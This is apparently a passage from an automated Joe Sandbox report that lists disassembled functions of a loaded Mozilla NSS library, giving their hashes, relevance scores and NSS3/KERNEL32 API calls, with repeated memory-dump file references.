Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Item_Util$Decode$ArenaPoolValueZfree$CallCompareFreeInitOnceQuick
String ID:
API String ID: 185717074-0
Opcode ID: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction ID: 846baeef04429bad51b06e4980a6fdb1145d7660a68f2e964ee476177956c6ea
Opcode Fuzzy Hash: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction Fuzzy Hash: AA715871F922268FDB108A598850BAEB7F1FB49324F994267D824E77C1F3349C21C794

Function 6CC6C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CC6CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC6CA35
PR_Unlock.NSS3(00000000), ref: 6CC6CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CC6CA77
PR_Unlock.NSS3(00000000), ref: 6CC6CAFC

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 253aff81af7887c2400402ecff378ff78e7a7235864aca40eb2f66005415e2c8
Instruction ID: ab7d31859871e1db4b7d4d7b858c8658ee021d8600fbcee0eee61bae93ed35f7
Opcode Fuzzy Hash: 253aff81af7887c2400402ecff378ff78e7a7235864aca40eb2f66005415e2c8
Instruction Fuzzy Hash: CE41F475A002059BEF00EF66DA81AAB7BB4FF45398F144168ED1897B02FB31D951CBE1

Function 6CCC4A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CCC4A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6CCC4B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6CCC4B12
PR_SetError.NSS3(?,00000000), ref: 6CCC4B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6CCC4B35

Part of subcall function 6CCC04A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6CCC04B9
Part of subcall function 6CCC04A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6CCC050A
Part of subcall function 6CCC04A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6CCC0545

Part of subcall function 6CCC52E0: PORT_NewArena_Util.NSS3(00000400,6CCC4A57,?,00000000), ref: 6CCC52F7
Part of subcall function 6CCC52E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CD8301C,6CCC4A57,?,6CCC4A57,?,00000000), ref: 6CCC5312
Part of subcall function 6CCC52E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6CCC4A57,?,00000000), ref: 6CCC5327
Part of subcall function 6CCC52E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6CCC4A57,?,00000000), ref: 6CCC5334

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 9d0c4bc2baeb9624f37d0bd5e25d48469279112e2259938b483fe849c30b8af9
Instruction ID: c4345472366cb097a53ce782fa5b10ae1a2428c07b7c0349d37a261d85acc554
Opcode Fuzzy Hash: 9d0c4bc2baeb9624f37d0bd5e25d48469279112e2259938b483fe849c30b8af9
Instruction Fuzzy Hash: EC31F0B2F012005BEB14CE36AC50BBB36A8AB1131DF158124EC04AAF42F735D859C3A7

Function 6CC96AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC96943
Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC96957
Part of subcall function 6CC96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC96972
Part of subcall function 6CC96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC96983
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC969AA
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC969BE
Part of subcall function 6CC96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC969D2
Part of subcall function 6CC96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC969DF
Part of subcall function 6CC96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96BF7
free.MOZGLUE(6CC9781D,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?,00000000,00000000), ref: 6CC96C08

Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC9781D,00000000,6CC8BE2C,?,6CC96B1D,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C40
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?), ref: 6CC96C58
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C6F
Part of subcall function 6CC96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC96C84
Part of subcall function 6CC96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC96C96
Part of subcall function 6CC96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC96CAA

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: dbed470a176a0b47b54ff3561eec76537f1f58e7f28386414a574cbf53601656
Instruction ID: 52e00f3083794fe12a72b9c732a91a2429f29dc16013b30fe85105241b93c87e
Opcode Fuzzy Hash: dbed470a176a0b47b54ff3561eec76537f1f58e7f28386414a574cbf53601656
Instruction Fuzzy Hash: 7B419471E056199BEF40CFA6D840BAEB7B8AF06348F140425D814E7A80F735E944D7E1

Function 6CCA4B00 Relevance: 7.6, APIs: 5, Instructions: 119stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,-00000001,00000000,?,?,6CC97B3B,00000000,?,?,00000000), ref: 6CCA4BA3

Part of subcall function 6CCA8970: TlsGetValue.KERNEL32(?,00000000,6CC561C4,?,6CC55639,00000000), ref: 6CCA8991
Part of subcall function 6CCA8970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC55639,00000000), ref: 6CCA89AD
Part of subcall function 6CCA8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA89C6
Part of subcall function 6CCA8970: PR_WaitCondVar.NSS3 ref: 6CCA89F7
Part of subcall function 6CCA8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA8A0C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CCA4B44
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CCA4B7E
SECMOD_DestroyModule.NSS3(00000000), ref: 6CCA4C44
free.MOZGLUE(?), ref: 6CCA4C54

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Valuestrcmp$CondCriticalDestroyEnterErrorModuleSectionUnlockWaitfree
String ID:
API String ID: 3094473128-0
Opcode ID: d17138f5e70de50d98e5eb153a8737c96b2645118a9bafc73d7ffa09687ccfd3
Instruction ID: 64aaeffdc7850220e0b807a9b1867b04e344b3543a4abbc2c0205273d3bc7f3f
Opcode Fuzzy Hash: d17138f5e70de50d98e5eb153a8737c96b2645118a9bafc73d7ffa09687ccfd3
Instruction Fuzzy Hash: 4A4180B6A01606EBEB10CF95EC49B56B3B9AF4131CF145124E829A7F10FB31F916CB91

Function 6CD6AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD6AA86

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

Part of subcall function 6CD6A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD6A662), ref: 6CD6A69E
Part of subcall function 6CD6A690: PR_NewCondVar.NSS3(?), ref: 6CD6A6B4

PR_IntervalNow.NSS3 ref: 6CD6AAEC
EnterCriticalSection.KERNEL32(?), ref: 6CD6AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD6AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6AB8B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: ed1fbb5c54dfddc15683347a98eb6b667559643200c125dea00884d045a34d7d
Instruction ID: b257c37f11b410c729e3b2ae3d8768b9a1bd74d51478a6359e3b6b5ace658770
Opcode Fuzzy Hash: ed1fbb5c54dfddc15683347a98eb6b667559643200c125dea00884d045a34d7d
Instruction Fuzzy Hash: 874191B0A00715CFC750CF2AD8C055ABBF6BF99318B25456AD859CBF21E731E845CBA0

Function 6CC4EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC4EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CC4EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CC4EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC4EEEB
free.MOZGLUE(?), ref: 6CC4EEF6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: dd583150804390983d2fb3b83c82a3b4aaea114b4c595f2a4fb91f7ab65e7787
Instruction ID: 0e33097302437e2c1120716ef97c05156e201df9acd7e95d6c4ff313ce5abccb
Opcode Fuzzy Hash: dd583150804390983d2fb3b83c82a3b4aaea114b4c595f2a4fb91f7ab65e7787
Instruction Fuzzy Hash: D431E4B1A006019BE720DF29CC44B66BBB8FB46318F16C52DE95A87A50FB31E414CBE1

Function 6CC544D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CC544FF

Part of subcall function 6CCB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC58298,?,?,?,6CC4FCE5,?), ref: 6CCB07BF
Part of subcall function 6CCB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CCB07E6
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB081B
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB0825

SECOID_FindOID_Util.NSS3(?), ref: 6CC54524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC54537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CC54579

Part of subcall function 6CC541B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CC541BE
Part of subcall function 6CC541B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC541E9
Part of subcall function 6CC541B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CC54227
Part of subcall function 6CC541B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CC5423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC5459C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 4c8b576d3887f44a8e626cf93b0a056c36f67dc6eea35ac2294b3f117589a665
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 3B21F2717012009BEB10CE6AAC44F6B37A9AF41658FD40428FC19DBF49FB21E934C7A9

Function 6CC56AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6CC5B21D,00000000,00000000,6CC5B219,?,6CC56BFB,00000000,?,00000000,00000000,?,?,?,6CC5B21D), ref: 6CC56B01

Part of subcall function 6CCAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CCAFE08
Part of subcall function 6CCAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CCAFE1D
Part of subcall function 6CCAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CCAFE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6CC5B219,?,6CC56BFB,00000000,?,00000000,00000000,?,?,?,6CC5B21D), ref: 6CC56B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6CC56B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC56B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6CC56BB6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: 162e7cbd630d41792166ca09246ddd1ef2a6ace754d6758a86888e374957d80f
Instruction ID: dd64a9249d9da454e77f4e561bc8e5b7389852a0abedab16031813693279903d
Opcode Fuzzy Hash: 162e7cbd630d41792166ca09246ddd1ef2a6ace754d6758a86888e374957d80f
Instruction Fuzzy Hash: 46212F72D006145BEB108F65CC40F9A7BA8EB45398F440629EC09DBB10F731EAB09BA4

Function 6CCC4BB0 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,C083F089), ref: 6CCC4BDD

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,C083F089), ref: 6CCC4C03

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,C083F089), ref: 6CCC4C15
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,C083F089), ref: 6CCC4C3E

Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CCAF0C8
Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCAF122

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,C083F089), ref: 6CCC4C85

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$Value$Alloc_AllocateCriticalEncodeEnterInitItem_LockPoolSectionUnlockcallocmemset
String ID:
API String ID: 227267669-0
Opcode ID: 4833d9b98c2349953db129070fc4ef0a7d6c9e04803a50e24549e7092abb38c9
Instruction ID: c754fda893748b15f9ecd9b18b950f77468cae3afcaf7565da3db899f5fc7507
Opcode Fuzzy Hash: 4833d9b98c2349953db129070fc4ef0a7d6c9e04803a50e24549e7092abb38c9
Instruction Fuzzy Hash: 5B21D5B3F002156BEB104E9AAC41BBB7AA9EB4136CF140134ED28977A1FB71D81487D7

Function 6CCC68A0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CCC68B4

Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190AB
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190C9
Part of subcall function 6CD19090: EnterCriticalSection.KERNEL32 ref: 6CD190E5
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD19116
Part of subcall function 6CD19090: LeaveCriticalSection.KERNEL32 ref: 6CD1913F

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_MillisecondsToInterval.NSS3(?), ref: 6CCC68E6
PR_MillisecondsToInterval.NSS3(?), ref: 6CCC6938
PR_MillisecondsToInterval.NSS3(?), ref: 6CCC6986
PR_ExitMonitor.NSS3(?), ref: 6CCC69BA

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: IntervalMillisecondsValue$CriticalEnterMonitorSection$ExitLeaveModulePageSize
String ID:
API String ID: 1802314673-0
Opcode ID: 5282981184bf34a63d06d40a04a16947fa8fddf2e39aa45904ad4f4b0109d1db
Instruction ID: dbb6867f6757e90c1d950bf949b0332431078f83b89f21fefe038df7a7726148
Opcode Fuzzy Hash: 5282981184bf34a63d06d40a04a16947fa8fddf2e39aa45904ad4f4b0109d1db
Instruction Fuzzy Hash: 113191B5704E01EBEB145B70EA083E6B774BF4630EF040229D91952A51E73578A8CE93

Function 6CC5AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CC53FFF,00000000,?,?,?,?,?,6CC51A1C,00000000,00000000), ref: 6CC5ADA7

Part of subcall function 6CCB14C0: TlsGetValue.KERNEL32 ref: 6CCB14E0
Part of subcall function 6CCB14C0: EnterCriticalSection.KERNEL32 ref: 6CCB14F5
Part of subcall function 6CCB14C0: PR_Unlock.NSS3 ref: 6CCB150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CC53FFF,00000000,?,?,?,?,?,6CC51A1C,00000000,00000000), ref: 6CC5ADB4

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
